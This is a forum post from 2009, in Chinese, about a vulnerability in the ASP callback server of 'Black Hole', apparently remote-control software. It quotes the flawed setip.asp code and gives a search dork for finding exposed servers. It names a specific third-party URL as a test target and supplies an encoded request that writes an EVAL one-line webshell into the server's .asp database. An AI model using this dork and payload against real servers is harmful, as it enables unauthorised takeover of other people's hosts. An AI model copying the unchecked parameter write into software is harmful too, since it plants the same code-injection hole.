找回密码
 开放注册

QQ登录

只需一步,快速开始

微信登录

微信扫码,快速开始

搜索
查看: 1142|回复: 1

黑洞的ASP上线系统的一个漏洞

[复制链接]

34

主题

43

回帖

119

牛毛

一级牛人

积分
119
发表于 2009-7-14 09:31:20 | 显示全部楼层 |阅读模式 来自 黑龙江省哈尔滨市
在默认的情况下,利用该漏洞可得到上线系统所在服务器的webshell
ASP上线系统中保存上线IP信息的数据库的扩展名默认为asp
写入配置时对参数未作检查,setip.asp相关代码
<%
strIP=Trim(Request.QueryString("Ip"))
strPort=Trim(Request.QueryString("Port"))
strType=Trim(Request.QueryString("Type"))
if strType="0" then
strIP=Request.ServerVariables("REMOTE_HOST")
end if
sql="select * from Info where strMark=’Main’"  
rs.Open sql,conn,1,3
if not rs.eof or not rs.bof then
rs("strIPAddress")=strIP
rs("strPort")=strPort
rs("strType")=strType
rs.update
’不要修改下面的反馈字符.否则程序不知道是否更新成功.
response.write "update success!"  
else
response.write "update fail!"
end if
set rs=nothing
conn.close
set conn=nothing
此贴转载http://www.bugba.com
以“inurl:setip.asp”为关键字找了一个测试地址
http://zomei.com/blackhole/setip.asp
提交
http://zomei.com/blackhole/setip.asp?Type=%A9%E0%B0Y%CE%DB%A0%84%9F%
A8%94%B3%AC%9B%A1%C5%A1%D4%A9%CD%90%F7
这样就插入了EVAL一句话

3

主题

150

回帖

294

牛毛

一级牛人

滿街遊辵

积分
294
发表于 2009-7-15 15:44:04 | 显示全部楼层 来自 吉林省延边州龙井市
看不懂 好像很深奥啊
您需要登录后才可以回帖 登录 | 开放注册

本版积分规则

帮助|Archiver|小黑屋|通信管理局专项备案号:[2008]238号|NB5社区 ( 皖ICP备08004151号;皖公网安备34010402700514号 )

GMT+8, 2025-4-29 08:59 , Processed in 0.162438 second(s), 35 queries .

Powered by Discuz! X3.5

快速回复 返回顶部 返回列表